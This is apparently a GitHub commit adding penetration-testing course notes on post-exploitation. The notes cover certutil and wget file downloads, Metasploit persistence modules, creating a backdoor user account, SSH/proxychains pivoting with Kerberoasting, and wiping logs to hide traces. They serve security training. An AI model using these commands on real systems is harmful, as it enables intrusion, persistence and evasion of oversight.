Skip to content

Commit 402bea5

Browse files
committed
Network attacks done
1 parent 1fb197b commit 402bea5

File tree

2 files changed

+97
-2
lines changed

2 files changed

+97
-2
lines changed

peh/5-post-exploitation/README.md

+94-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,94 @@
1-
# 5. Post Exploitation
1+
# 5. Post Exploitation
2+
3+
## File transfers
4+
5+
```bash
6+
# HTTP via Python
7+
python3 -m http.server 80
8+
9+
# Windows - Certutil
10+
certutil.exe -urlcache -f <URL-TO-FILE>
11+
12+
# Linux
13+
wget <URL>
14+
15+
...
16+
```
17+
18+
---
19+
20+
## Maintain access
21+
22+
➡️ **Maintaining access** during a penetration test refers to the techniques used to **retain control over a compromised system** for extended periods, even after reboots or security updates. This is a crucial phase in **post-exploitation**, allowing testers to simulate real-world attacker **persistence** and assess an organization's ability to detect and respond to such threats.
23+
24+
**Metasploit persistence methods**
25+
26+
1. **Persistence scripts:**
27+
- `run persistence -h` → Displays available persistence options.
28+
- `exploit/windows/local/persistence` → Creates a **backdoor** using Metasploit.
29+
- `exploit/windows/local/registry_persistence` → Modifies **Windows Registry** for persistence.
30+
2. **Scheduled Tasks:**
31+
- `run scheduleme` → Creates a **scheduled task** to execute payloads periodically.
32+
- `run schtaskabuse`**Abuses schtasks** to maintain system access.
33+
3. **User Account Manipulation:**
34+
- `net user hacker password123 /add` → Creates a **new user account** for persistent access.
35+
36+
These techniques help attackers maintain **long-term access** even after a system reboot or network disconnection. Monitoring scheduled tasks, registry changes, and unauthorized user accounts is crucial to detecting and preventing persistence mechanisms.
37+
38+
---
39+
40+
## Pivoting
41+
42+
➡️ **Pivoting** is a technique used in penetration testing to **move laterally** within a network after compromising an initial system. It allows an attacker to **route traffic through the compromised machine** to access other internal systems that are otherwise unreachable from the external network.
43+
44+
### proxychains
45+
46+
➡️ [proxychains](https://github.com/haad/proxychains) - tool that forces any TCP connection initiated by an application to route through user-defined proxy servers, such as TOR or other SOCKS4, SOCKS5, or HTTP(S) proxies
47+
48+
```bash
49+
cat /etc/proxychains4.conf
50+
# check socks4 port
51+
52+
ssh -f -N -D 9050 -i pivot <USER>@<VICTIM-IP>
53+
54+
# e.g. pivoting
55+
proxychains nmap -p <PORT> <VICTIM-IP>
56+
57+
proxychains GetUserSPNs.py MARVEL.local/fcastle:Password1 -dc-ip <IP> -request
58+
59+
proxychains xfreerdp /u:administrator /p:'p@ssword' /v:<IP>
60+
61+
proxychains firefox
62+
```
63+
64+
### sshuttle
65+
66+
➡️ [sshuttle](https://github.com/sshuttle/sshuttle) - transparent proxy server that forwards over SSH, supports DNS tunneling
67+
68+
```bash
69+
sshuttle -r <USER>@<IP> <NEW-NETWORK/24> --ssh-cmd "ssh -i pivot"
70+
# keep this terminal open
71+
# run commands in other terminals
72+
```
73+
74+
### chisel
75+
76+
➡️ [chisel](https://github.com/jpillora/chisel) - a fast TCP/UDP tunnel, transported over HTTP, secured via SSH
77+
78+
---
79+
80+
## Cleaning up
81+
82+
➡️ The **cleanup phase** is the final step in a penetration test, ensuring that **no traces** of testing activities remain on the target system or network.
83+
84+
The goal is to restore the environment to its original state before the test, minimizing security risks and avoiding any disruption.
85+
86+
- **Remove files** – Delete scripts, executables, and added files
87+
- **Eliminate persistence** – Remove malware, backdoors, tasks, and added user accounts
88+
- **Restore settings** – Revert settings, security configs, firewall rules, and permissions.
89+
- **Clear tracks** – Wipe command history and logs.
90+
91+
📌 From a hacker perspective, you need to "**make it look like you were never there**".
92+
93+
---
94+

peh/peh-references.md

+3-1
Original file line numberDiff line numberDiff line change
@@ -207,7 +207,9 @@
207207

208208
## Post Exploitation
209209

210-
210+
- [proxychains](https://github.com/haad/proxychains)
211+
- [sshuttle](https://github.com/sshuttle/sshuttle)
212+
- [chisel](https://github.com/jpillora/chisel)
211213

212214
## Web Application
213215

0 commit comments

Comments
 (0)